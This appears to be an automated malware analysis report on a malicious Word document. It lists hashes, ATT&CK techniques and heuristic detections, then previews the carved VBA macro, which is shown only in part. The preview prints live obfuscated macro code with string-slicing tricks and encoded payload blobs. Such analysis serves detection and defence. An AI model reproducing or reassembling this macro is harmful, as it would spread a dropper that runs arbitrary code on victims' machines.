Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8ba36c6114b3a5f…

MALICIOUS

Office (OLE)

82.0 KB Created: 2017-10-23 11:57:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: d3d68cd930e18e99b63296922eacd912 SHA-1: df59bc6e5716cb5f3909213c5c3c9c6ce509049d SHA-256: f8ba36c6114b3a5f4a00187cdd61fe909d3f53c949a3630251c3fcc30e679b04
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro is triggered by the AutoOpen function and uses the Shell() function, indicating an attempt to execute arbitrary code. This is further supported by ClamAV detection and heuristic firings related to obfuscation and auto-execution. The primary IOC is the extracted VBA macro file.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42899 bytes
SHA-256: ae00dbb1ec0b1ac27bceece519e546d3adbed90f4425df655b5179f90bb94dc6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 80 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function ZFSRprAiP()
wEqLqbwrtIm = "B7WRLO9E7CUUAJ17BAW99GJAUMCSPIGrJwntiiqpTpsJiPrOLRrrWYbVHtTOJiAqEIGWslmWVtJUlcRVslbkROVlWSlkOcfppBEaJVVaiVWcOHkibzWYDPZpnVzazBHtOUfjXrMXPAGwssWPiGIRFGlZbPnoVvacNcNubAGklzJCJdzuwjsttqnIiGHIDYBUadiQf8Z0Q"
kkAjnQ = Mid(wEqLqbwrtIm, 30, 168)
SmfDBciB = kkAjnQ
iZQTkCGSB = "9UOP93NObohzXjGzjPwStpmChjXoFMUswhMwpcfvhPXvKtVJhKzrJqKjORtuKbZPToBqTIHHjCkdRrrnONHuNdjHWdjXilkFpIbWsiqYDrHGFjRXZFjzTiCpFtTqZjYwSfnJPVvjXirVWcCpLLwdFnlLFmQwKzzTTIoasHHDKwZlnhTcriiNlutitcDdFwZXjYBNobzEEuTJSBPAV4I6L"
iHZhTOoskm = Mid(iZQTkCGSB, 9, 195)
aiuoLsToK = iHZhTOoskm
VfZKmiqPkU = "A55D94CPG7INW72UASBTSUCGBNiOjaQzzNDfRTkZlZfrqzjtUAzKZMGSZGNzTHsSLzDKzSCSSGtqAKQEhptjdGYnHkFKGkGijNjqtVvCzisTTPRPqJRdOJoFbPDNMrMhAOKniZKMtqlwNEUrSqUzTcPWYbPd3M"
zVzni = Mid(VfZKmiqPkU, 23, 134)
uvBWlTU = zVzni
QPGSzGppUa = "7MT5XJICSR52MLIBRzADQPhLGswUlGwOWoPVVKMKIUZTsumJzbkaHqOLmNfCiCiPYAqvwdfGkquvqTY3JMKR81K91888UJBBH55MC"
TlEsjp = Mid(QPGSzGppUa, 16, 62)
cOHilIJfwm = TlEsjp
WERJt = "TDVKBVBW4EBRMS7ZN053MWGTC5FD9zitnLYThXdzDXDHK58X"
iOriGppw = Mid(WERJt, 30, 16)
kRLrNECjri = iOriGppw
CFwmupn = "0K0QU5S9Z07VzajtVwEtumzSztGVzfTlHVbGPjIMvmpGoVAVtzcfouQlWOYksiYXnZOdwdimqswIwqidAIU"
sGQpwU = Mid(CFwmupn, 12, 69)
ZbmhvqDw = sGQpwU
miJUF = "YITWGTGA5O0CINAYYSnGjVlhYPJjPDiwNWBBOfFoPjaJqbkQsEfKRptCzqcwiuhAZwGlLzJsNwqzvcrUV95N0HV4VAAEYFSGHHH18N"
MUzdfZiz = Mid(miJUF, 13, 67)
GRvlEvizb = MUzdfZiz
iiqDT = "H6PAJTU NNTMFnUKWYHjZDjHfKcFqKurDrMVvdpRvSUYtSzviTsAtKVsuXbaNoFjScINazPtipkHjKOMNhXWRuwtWTbXBODGMoGRKjB91NITOJQAABAH0IIEDKZ2UMGMDYFX"
DawYO = Mid(iiqDT, 10, 93)
zkqTFHZjtZr = DawYO
ZmEIUjprikD = "HPKOLM2X3UjDzRDZNJjJPNjRjOYdPrGXsrUliuuEwCdMoTScuTIKrNmAXpdaiourNLLIzRuSPiNNjTcPwvivjwfiFTOpRUWIHmzdIKfcZpvNAYRDMNdmFzHQfjCiDFBuIEFzUzHmQFWuBSijCKdDrjDIiizbHAZTnAEvSTjMFrWzcNONCVbtbzDYBzTmCjiPjHJI"
CLGBKJmlN = Mid(ZmEIUjprikD, 10, 184)
PHTzVa = CLGBKJmlN
zoXOOPHi = "6KRU5IU96W3DXRiqGSLTEFilRZ7OY0FUZ5FIF6"
YsdSW = Mid(zoXOOPHi, 14, 12)
EiWPrKNz = YsdSW
RFBpbWlVj = "ZVD05PHB9G1I67LJHIT7KCtlcCCowMFpjAKXTMORTOHWWPSqovvHpjkuqHGWVzcBYItibTZluiXQVXPMjMzM1AIEH0VDQ2A3AOUB"
kWwuQcTX = Mid(RFBpbWlVj, 23, 61)
ZnIEFzF = kWwuQcTX
End Function
Function IXnEnQnUA()
PhChKjsCTT = "G2V3LLADEAMgAgACwAIAA5ADcALAAxADEANgAsADEAMAA0ACwAMwAyACwAIAA2ADEAIAAsACAAMwAyACAALAAgADMANgAsADEAMAAxACwAIAAxADEAMAAsADEAMQA4ACAALAAgADUAOAAsADEAMQA2ACwAMQAwADEAIAAsADEAMAA5ACAALAAgADE1KRCOUFM5O24UW5RY9CNI"
UcKzFi = Mid(PhChKjsCTT, 7, 179)
vBHVD = UcKzFi
cBqnDMvCDn = "D00CTQFQV2YXYHPET7XAG5ECFU2WP2T4ZIAAsACAAMQAwADYAIAAsADEAMAAxACAALAAgADkAOQAgACwAMQAxADYALAAgADMAMgAsADgAMwAsACAAMQAyADEALAAxADEANQAgACwAIAAxADEANgAgACwAIAAxADBVIW"
DYhDVhlQbJs = Mid(cBqnDMvCDn, 35, 125)
pHNIGvkRoV = DYhDVhlQbJs
PlFCH = "VWMTR4OQ27DIALAAgADUAOAAgACwANAA3ACwANAA3ACwAIAA5ADgALAAxADAAOAAgACwAMQAxADcALAAxADAAMQAsADEAMQA2ACwAIAAxA7BB"
jKAjqEpHS = Mid(PlFCH, 11, 96)
GhSmKjL = jKAjqEpHS
faXjdomCEC = "A0ORGOI89H3AIAAsADMANgAsACAAMQAxADcALAAgADEAMQA0ACAALAAgADEAMAA4ACAALAAxADEANQAsADMAM8HBTB8J5M338DW61HC"
sjcTIUTvbbz = Mid(faXjdomCEC, 12, 74)
UaUlTtJ = sjcTIUTvbbz
IvUHqTc = "6UG8YCUC61AOXHB8YFMB503IAA1ADkALAAgADEAMAAyACwAIAAxADEAMQAgACwAMQAxADQAIAAsADEAMAAxACAALAA5ADcAIAAsACAAOXPB57E"
TSiMCvTiDZu = Mid(IvUHqTc, 24, 81)
KorFj = TSiMCvTiDZu
MXzjOwI = "0DkAIAAsADEAMQA1ACwAIAA5ADkAIAAsACAAMQAxADQAIAAsADEAMAA1ACwAMQAxADIAIAAsADEAMQA2ACAALAAgADMAMgAgACwAIAA2ADEAIAAsACAAMwAyACwAMQAxADAALAAxADAAMQAgACwAMQAxADkALAA0ADUALAAxADEAMQAsACAAOQA4ACAALAAxADAANgAgACwAMQAwADEAIAAsACAAOQA5ACAALAAgADEAMQA2ACAAK6EXHM2WI345CKXCKJG"
EOXYSJd = Mid(MXzjOwI, 2, 243)
YHjzYjPuP = EOXYSJd
MQNDhllChwO = "EVAxADAAMQAgACwAOQA4ACAALAAgADkAOQAsACAAMQAwADgAIAAsADEAMAA1ACwAMQAwADEALAAxADEAMAAgACwA1S7PRC3RZ8OIC2ISEFPIE3AD599Q173"
zzUCKJcCILA = Mid(MQNDhllChwO, 3, 86)
YcDmdnj = zzUCKJcCILA
NOhjI 
... (truncated)

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